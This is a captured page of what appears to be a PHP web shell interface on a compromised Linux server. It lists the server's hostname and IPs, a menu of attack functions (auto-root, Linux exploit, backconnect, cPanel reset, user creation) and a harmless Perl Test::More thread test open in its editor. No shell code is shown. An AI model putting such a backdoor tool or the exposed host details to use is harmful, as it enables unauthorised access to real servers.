Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.226.248.17
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Test-Simple-0.98 /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
Builder
[ DIR ]
drwxr-xr-x
Simple
[ DIR ]
drwxr-xr-x
Tester
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
subtest
[ DIR ]
drwxr-xr-x
00compile.t
982
B
-rw-r--r--
00test_harness_check.t
764
B
-rw-r--r--
BEGIN_require_ok.t
463
B
-rw-r--r--
BEGIN_use_ok.t
388
B
-rw-r--r--
More.t
5.1
KB
-rw-r--r--
bad_plan.t
495
B
-rw-r--r--
bail_out.t
660
B
-rw-r--r--
buffer.t
424
B
-rw-r--r--
c_flag.t
417
B
-rw-r--r--
circular_data.t
1.17
KB
-rw-r--r--
cmp_ok.t
1.54
KB
-rw-r--r--
dependents.t
939
B
-rw-r--r--
diag.t
1.4
KB
-rw-r--r--
died.t
848
B
-rw-r--r--
dont_overwrite_die_handler.t
353
B
-rw-r--r--
eq_set.t
562
B
-rw-r--r--
exit.t
2.98
KB
-rw-r--r--
explain.t
582
B
-rw-r--r--
extra.t
958
B
-rw-r--r--
extra_one.t
869
B
-rw-r--r--
fail-like.t
1.52
KB
-rw-r--r--
fail-more.t
10.37
KB
-rw-r--r--
fail.t
1.04
KB
-rw-r--r--
fail_one.t
697
B
-rw-r--r--
filehandles.t
290
B
-rw-r--r--
fork.t
574
B
-rw-r--r--
harness_active.t
1.35
KB
-rw-r--r--
import.t
244
B
-rw-r--r--
is_deeply_dne_bug.t
887
B
-rw-r--r--
is_deeply_fail.t
11.25
KB
-rw-r--r--
is_deeply_with_threads.t
1.4
KB
-rw-r--r--
missing.t
1.03
KB
-rw-r--r--
new_ok.t
705
B
-rw-r--r--
no_plan.t
664
B
-rw-r--r--
no_tests.t
782
B
-rw-r--r--
note.t
416
B
-rw-r--r--
overload.t
2.13
KB
-rw-r--r--
overload_threads.t
1.04
KB
-rw-r--r--
plan.t
474
B
-rw-r--r--
plan_bad.t
1.05
KB
-rw-r--r--
plan_is_noplan.t
404
B
-rw-r--r--
plan_no_plan.t
794
B
-rw-r--r--
plan_shouldnt_import.t
294
B
-rw-r--r--
plan_skip_all.t
190
B
-rw-r--r--
pod-coverage.t
793
B
-rw-r--r--
pod.t
149
B
-rw-r--r--
require_ok.t
786
B
-rw-r--r--
simple.t
200
B
-rw-r--r--
skip.t
1.9
KB
-rw-r--r--
skipall.t
481
B
-rw-r--r--
tbm_doesnt_set_exported_to.t
457
B
-rw-r--r--
thread_taint.t
122
B
-rw-r--r--
threads.t
629
B
-rw-r--r--
todo.t
3.28
KB
-rw-r--r--
undef.t
1.84
KB
-rw-r--r--
use_ok.t
1.42
KB
-rw-r--r--
useing.t
365
B
-rw-r--r--
utf8.t
1.25
KB
-rw-r--r--
versions.t
482
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : is_deeply_with_threads.t
#!/usr/bin/perl -w # Test to see if is_deeply() plays well with threads. BEGIN { if( $ENV{PERL_CORE} ) { chdir 't'; @INC = ('../lib', 'lib'); } else { unshift @INC, 't/lib'; } } use strict; use Config; BEGIN { unless ( $] >= 5.008001 && $Config{'useithreads'} && eval { require threads; 'threads'->import; 1; }) { print "1..0 # Skip no working threads\n"; exit 0; } unless ( $ENV{AUTHOR_TESTING} ) { print "1..0 # Skip many perls have broken threads. Enable with AUTHOR_TESTING.\n"; exit 0; } } use Test::More; my $Num_Threads = 5; plan tests => $Num_Threads * 100 + 6; sub do_one_thread { my $kid = shift; my @list = ( 'x', 'yy', 'zzz', 'a', 'bb', 'ccc', 'aaaaa', 'z', 'hello', 's', 'thisisalongname', '1', '2', '3', 'abc', 'xyz', '1234567890', 'm', 'n', 'p' ); my @list2 = @list; print "# kid $kid before is_deeply\n"; for my $j (1..100) { is_deeply(\@list, \@list2); } print "# kid $kid exit\n"; return 42; } my @kids = (); for my $i (1..$Num_Threads) { my $t = threads->new(\&do_one_thread, $i); print "# parent $$: continue\n"; push(@kids, $t); } for my $t (@kids) { print "# parent $$: waiting for join\n"; my $rc = $t->join(); cmp_ok( $rc, '==', 42, "threads exit status is $rc" ); } pass("End of test");
Close
